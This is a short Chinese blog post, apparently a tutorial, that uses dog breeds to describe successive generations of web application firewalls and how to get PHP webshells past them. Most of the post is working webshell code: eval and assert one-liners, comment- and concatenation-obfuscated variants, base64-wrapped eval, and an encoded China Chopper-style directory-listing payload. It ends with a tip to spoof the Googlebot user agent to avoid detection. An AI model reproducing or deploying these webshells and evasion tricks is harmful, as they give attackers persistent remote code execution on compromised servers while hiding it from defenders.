聊聊那些年斗过的狗(WAF)
随着web安全的重视,各种waf层出不穷,从:编码->转义->变形->加密->加密变形->参数变形
那就先从原始的开始:
<?php eval($_POST['posha']);?>
一代狗-哈士奇
个头挺大,不咬人;
<?php eval ($\_REQUEST ['c'] ) ?>
二代狗-拉布拉多
看着挺憨厚,跟主人打打闹闹,也没啥事
mb_ereg_replace("",str_replace(',','va','e,l($_REQ'.$C.'UEST[c])'),"","e");
她其实是个表达式 插入到php里
其实还是:eval($\_Requst[c]);
三代狗-金毛
老东西玩久了,就没太多新鲜劲了;
<?php assert($_POST[c]);?>
四代狗-阿拉斯加
这家确实会咬人啊,温柔对待,还是蛮可以的
[email protected](base64_decode($_POST[c]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
五代狗-中华田园犬
管你咋滴,先咬着
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7?>
六代狗-牛头梗
虽然好斗,死咬不放口,续续前行,还是安全滴;
$str=base64\_decode(base64\_encode($\_POST['a']));
$str1=mb\_convert\_encoding($str, "GBK");
@eval($str1);
七代狗-狩猎犬
捍卫领土意识比较强,看羊之前,得换身衣服,喷点羊味;
$tmp = @$\_POST['z'];
if($tmp!="")
{
$xsser = base64\_decode($\_POST['z0']);
@eval("\\$safedg = $xsser;");
}
这种也要对菜刀进行发包改进
所有后来就有了Hatchet的流行 他可以自定义菜刀发包的内容 比如这样:
注意看:PHP_POST_DATA==z0=
这里 去掉了 原始菜刀的:base64_decode($_POST['z0'])
而且支持更多加密变形
八代狗-牧羊犬
是狼是羊,整个羊群,他也会看不全
$jg16 = base64\_decode;
$z = $jg16(YXNzZXJ0);
$z($\_POST[q]);
最后总结
真的想去看羊群,记得戴顶草原帽子,帽子推荐:
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 谷歌爬虫的.
思路来源:https://zhuanlan.zhihu.com/p/25827469?utm_source=qq&utm_medium=social
还不快抢沙发